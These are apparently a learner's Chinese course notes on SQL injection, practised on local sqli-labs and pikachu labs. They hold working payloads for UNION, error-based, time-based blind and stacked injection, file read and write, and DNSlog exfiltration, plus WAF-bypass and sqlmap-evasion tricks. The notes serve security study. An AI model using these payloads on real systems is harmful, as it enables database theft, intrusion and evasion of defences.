当前位置:   article > 正文

小迪渗透&WEB漏洞(叁-壹)_小迪web渗透

小迪web渗透


视频资源

SQL注入(11-19)

11. 漏洞介绍

在这里插入图片描述

11.1 PHP 遍历一个文件夹下所有文件和子文件夹的方法

<?php
function my_dir($dir) {
	$files = [];
	if(@$handle = opendir($dir)) {
		while(($file = readdir($handle)) !== false) {
			if($file != ".." && $file != ".") {
				if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归
					$files[$file] = my_dir($dir . "/" . $file);
				} else {
					$files[] = $file;
				}
			}
		}
        closedir($handle);
    }
	return $files;
}

echo "<pre>";
print_r(my_dir("./"));
echo "</pre>";
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

如果报错:PHP Parse error: syntax error, unexpected ‘[’ in /usercode/file.php on line 4,切换到拍php 5.4 及以上版本就可以了

资源

https://github.com/zhuifengshaonianhanlu/pikachu------靶场

pikachu靶场笔记
1. 环境搭建&暴力破解
2. pikachu靶场&XSS(二)
3. pikachu靶场&CSRF&SQL注入(三)
4. pikachu靶场&RCE&文件包含&上传下载&越权(四)
5. pikachu靶场&目录遍历&信息泄露&反序列化&XXE&重定向&SSRF(五)

12. 认识SQL注入

sql注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到sql语句中,被当作sql语句的一部分进行执行,从而导致数据泄露,丢失甚至服务器瘫痪。
如果代码中没有过滤或者过滤不严谨是会出现漏洞的。
在这里插入图片描述

  • 下列链接可能存在注入,第四是post提交,也会存在注入。
    在这里插入图片描述
  • 下列2、3测试正确,x有注入就在x后面测试。
    在这里插入图片描述

12.1 注入时信息收集

在这里插入图片描述

判断注入
and 1=1	正常
and 1=2	错误
可能存在注入,其实归根结底就是看我们的输入会不会对网站造成影响,即我们的操作有效
  • 1
  • 2
  • 3
  • 4

补充:order by和group by的区别
order by 默认是升序

  • 在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。
    在这里插入图片描述
  • 数据库中“.”代表下级
  • select * information_schema.tables;记录所有表名
  • where table_name=''筛选条件
  • select * from information_schema.columns;记录所有的列名
  • where column_name=''筛选条件
  • wherw table_schema=''筛选条件

信息收集

  • 判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,…
  • 查询数据库 version()
  • 数据库名字 databaase()
  • 数据库用户 user()
  • 操作系统 @@version_compile_os

13. MySQL注入

在这里插入图片描述
在这里插入图片描述

  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆出所有数据库
    在这里插入图片描述
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'获取特定数据库表名
    在这里插入图片描述
  • 127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取特定数据库特定表列数据
    在这里插入图片描述
    *http://127.0.0.1:8888/Less-2/?id=-1 union select 1,username,password from pikachu.users查询user的数据
    在这里插入图片描述
文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法
报错显示、遗留文件、漏洞报错、平台配置文件、爆破等、
  • 1
  • 2
  • 3
  • 4
  • 5

http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3读取本地文件
在这里插入图片描述
http://127.0.0.1:8888/Less-2/?id=-1%20union%20select%201,%20%27x%27%20,3%20into%20outfile%20%27D:\\x.php%27%20--+本地文件写入
在这里插入图片描述
参考:magic_quotes_gpc(魔术引号开关)等函数与数据库安全

  • magic_quotes_gpc
  • 当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线
    在这里插入图片描述

14. SQL注入之类型提交注入

在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
在这里插入图片描述

#简要明确参数类型
数字,字符,搜索,JSON等
数字可以直接加在sql中
字符就要通过单双引号接入sql语句中

#简要明确请求方法|
GET, POST, COOKIE, REQUEST, HTTP头等

其中SQI语句干扰符号:  ', ", %, ), } 等,具体需看写法
'"]})可以作为默认测试写法
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • JSON数据形式
    在这里插入图片描述

15. SQL注入之Oracle、MongoDB等注入

在这里插入图片描述
在这里插入图片描述

  • 下图中json的双引号不需要闭合,需要闭合的是SQL语句中的单引号或双引号。
    在这里插入图片描述
简要学习各种数据库的注入特点
Access, mysql ,mssql(sql server) mongoDB, postgresql, sqlite,oracle, sybase等
Access数据库放在网站下

数据库架构组成,数据库高权限操作

简要学习各种注入工具的使用指南
熟悉工具的支持库,注入模式,优缺点等
Sqlmap, NoSQLAttack, Pangolin等
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
access结构
		表名
				列名
						数据
mysql、mssql等
		数据库A
				表名
						列名
								数据
		数据库B
				。。。
						。。。	
								。。。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

15.1 Access注入测试

在这里插入图片描述

  • sqlmap会误报,如下图
    在这里插入图片描述
  • 手动测试,因为asses没有数据库,可以直接查数据
    在这里插入图片描述

15.2 Sql Server

  • 我们获取的数据库权限会影响我们的下一步的测试思路
  • 高权限直接测试
  • 低权限就一步一步获取数据
    在这里插入图片描述

15.3 sqlmap测试

在这里插入图片描述
sqlmap全参数详解

15.4 Oracle数据库

在这里插入图片描述
参考:Oracle注入总结

15.5 MongoDB

  • MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
  • MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
  • 数据传输采用JSON传输。

NoSQL Attack 支持此数据库的注入测试,它运行在linux下
在这里插入图片描述

  • tojson函数可以输出json数据

涉及资源

https://www.cnblogs.com/xishaonian/p/6173644.html
https://www.cnblogs.com/bmjoker/p/9326258.html
https://github.com/youngyangyang04/NoSQL Attack linux环境下支持MongoDB的工具,P14
https://github.com/sqlmapproject/sqlmap
https://blog.csdn.net/qq_39936434/category_9103379.html
https://blog.csdn.net/hack8/article/details/6427911

16. WEB漏洞-SQL注入之查询方式及报错盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url, text) values (2, 'x','$t')

delete删除数据
后台管理里面删除文章删除用户等操作
例: delete from news where id=$id 

update更新数据
会员或后台中心数据同步或缓存等操作
例: update user set pwd='$p' where id=2 and username= 'admin'

order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id, name, price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方的SQL查询方式

pikachu漏洞练习平台
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断
regexp, like, ascii, left, ord, mid

基于时间的SQL盲注-延时判断
if, sleep

基于报错的SQL盲注-报错回显
floor, updatexml,extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

参考:
like 'ro%'					#判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' 		#匹配xiaodi及xiaodi...等
if(条件,5,0)				#条件成立返回5反之返回0
sleep(5)					#sQI语句延时执行5秒
mid(a,b,c)					#从位置b开始,截取a字符串的c位
substr(a,b,c)				#从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 		#判断数据库database ()名的长度
ord=ascii ascii(x)=97 		#判断x的asci i码是否等于97
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit 

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit


pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

16.1 判断注入点

在这里插入图片描述
这四个位置都会接收我们传过去的数值,正常都可以作为注入点,只要可以对测试代码作出反应就可以。

16.2 针对无回显的布尔、延迟

mysql_fetch_array:无回显函数

SQL注入

延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+
  • 1
  • 2
  • 3
  • 4
  • 数据库是security就延时5秒,否则不延迟
    在这里插入图片描述
  • 判断数据库位数
    在这里插入图片描述

补充

ccess偏移注入:解决列名获取不到的情况
查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

涉及资源

https://www.jianshu.com/p/bc35f8dd4f7c
https://www.jianshu.com/p/fcae21926e5c

17. SQL注入之二次,加解密,DNS等注入

在这里插入图片描述

DNSlog:解决了盲注不能回显数据,效率低的问题
  • 1

17.1 二次注入

在这里插入图片描述
在这里插入图片描述

  • 第一个是原有的,第二个是我们注册的,当我们修改第二个的密码的时候,由于存在‘#,数据库会判断错误,相当于修改了第一个的密码。
    在这里插入图片描述
    在这里插入图片描述

17.2 DNSlog

  • DNSlog可以解决无回显问题
  • mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);Empty set (21.14 sec)

在这里插入图片描述

在这里插入图片描述

将url和注入语句分开
<?php
$url='http://xxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$ur1.Spayload; 
file_get_contents($urls);
echo $urls;
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

涉及资源

http:/ceye.io/
https://github.com/ADOOO/DnslogSqlinj

18. SQL注入之堆叠及WAF绕过注入

在这里插入图片描述

  • 堆叠注入:就是一堆sql语句一起执行,语句中一个 ; 表示语句结束,那多个语句连接到一起执行。
    在这里插入图片描述

18.1 应用场景

堆叠注入

  • 注入需要管理员帐号密码,密码是加密,无法解密
  • 堆叠注入时插入数据,用户密码自定义的,可以正常解密登录

特殊符号

  • 某些符号并不影响sql语句执行,但可以绕过waf检测
    在这里插入图片描述
    在这里插入图片描述

18.2 演示案例

  • Sqlilabs-Less38-堆叠注入(多语句)
  • WAF部署-安全狗,宝塔等waf搭建部署
  • 简要讲解安全狗,宝塔等防护waf策略规则
  • 简要演示安全狗bypass sqlinject防护规则
  • 实测简易CMS头部注入漏洞Bypass原理分析

安全狗拦截

  • 安全狗的一些防护策略
    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 可以绕过安全狗

    在这里插入图片描述

  • 可以换提交方式来绕过

用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

用来分割语句的符号
/*!*/

原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

参数污染

如果出现多个相同参数,不同的服务器搭建网站会出现参数接受的差别,从而令原有的参数失效。
在这里插入图片描述

涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686

19. SQL注入之SQLMAP绕过WAF

在这里插入图片描述

  • 在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,绕过安全防御措施进行漏洞利用。

19.1 绕过的方法-白名单

方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent 
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https : //addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
payload

%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

%23x%0aunion%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3    /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/				特殊符号

%20union%20all%23%0a%20select%201,2,3%23
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

有时注入语句没有问题,但是就是注入进不去,可能WAF检测了注入工具

  • sqlmap发的包带了自己的工具头
    在这里插入图片描述

  • 判定方法一:WAF日志
    在这里插入图片描述

  • 判定方法二:WAF防护规则
    在这里插入图片描述

  • 判定方法三:抓包
    在这里插入图片描述

  • 解决方法:

  • 思路一:采用salmap的随机agent头方法
    在这里插入图片描述

  • 思路二:采用搜索引擎的头
    在这里插入图片描述

  • 指定采用百度的头
    在这里插入图片描述

在这里插入图片描述
SQLMap说明

扩展一:有的WAF检测的是其他字段,可以使用burp抓包进行替换这个字段,来进行绕过。(只是修改一个)
扩展二:将注入语句生成txt文件,放在sqlmap目录下跑。(可以支持跑多个)

19.2 采用工具注入会被拉黑

  • 解决方法一:采用延时注入
    在这里插入图片描述
  • 解决方法二:采用代理池
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/正经夜光杯/article/detail/822817
推荐阅读
相关标签
  

闽ICP备14008679号